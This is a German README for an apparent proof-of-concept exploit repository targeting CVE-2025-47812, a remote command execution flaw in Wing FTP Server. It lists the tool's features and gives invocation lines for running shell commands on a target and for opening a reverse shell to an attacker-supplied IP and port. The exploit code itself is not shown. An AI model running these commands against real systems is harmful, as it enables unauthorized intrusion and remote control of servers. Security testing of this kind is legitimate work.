CVE-2025-47812 – Wing FTP Server RCE-Exploit

Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2025-47812, eine Remote-Befehlsausführungs-Schwachstelle (RCE) in Wing FTP Server. Ein Angreifer kann beliebige Lua-basierte Systembefehle injizieren und ausführen, indem er den Parameter username während der Authentifizierung missbraucht, was zu einer vollständigen Remote-Codeausführung führt.

📌 Exploit-Funktionen

• 🔧 Remote-Ausführung benutzerdefinierter Shell-Befehle
• 🧬 Mehrere integrierte Reverse-Shell-Payloads (bash, Python, netcat usw.)
• 🪪 Automatische UID-Extraktion aus Set-Cookie
• 📦 Protokolliert erfolgreiche UIDs in found_uids.txt
• 🧪 Dry-Run-Modus (keine tatsächlichen Anfragen werden gesendet – testen Sie Ihre Eingabe-/Ausgabelogik sicher)
• 🔁 Wiederholungslogik bei Netzwerkfehlern
• 🧹 Sauberere Payload-Formatierung und lesbare Ausgabe
• ✅ Eingabevalidierung für IPs, Ports und URLs
• ⚙️ Unterstützung für Befehlszeilenargumente für automatisierte Arbeitsabläufe

💻 Verwendung

Einfachen Shell-Befehl ausführen:

python3 CVE-2025-47812.py --url http://target:5466 --cmd "id"

Reverse Shell auslösen:

python3 CVE-2025-47812.py --url http://target:5466 --reverse --ip YOUR_IP --port 4444

Dry-Run-Modus (es werden keine Anfragen gesendet):

python3 CVE-2025-47812.py --url http://target:5466 --cmd "whoami" --dry-run

🔄 Änderungen am ursprünglichen Exploit

⚠️ Haftungsausschluss

Dieses Projekt ist nur für Bildungszwecke und autorisierte Sicherheitstests gedacht.
Verwenden Sie dieses Tool nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.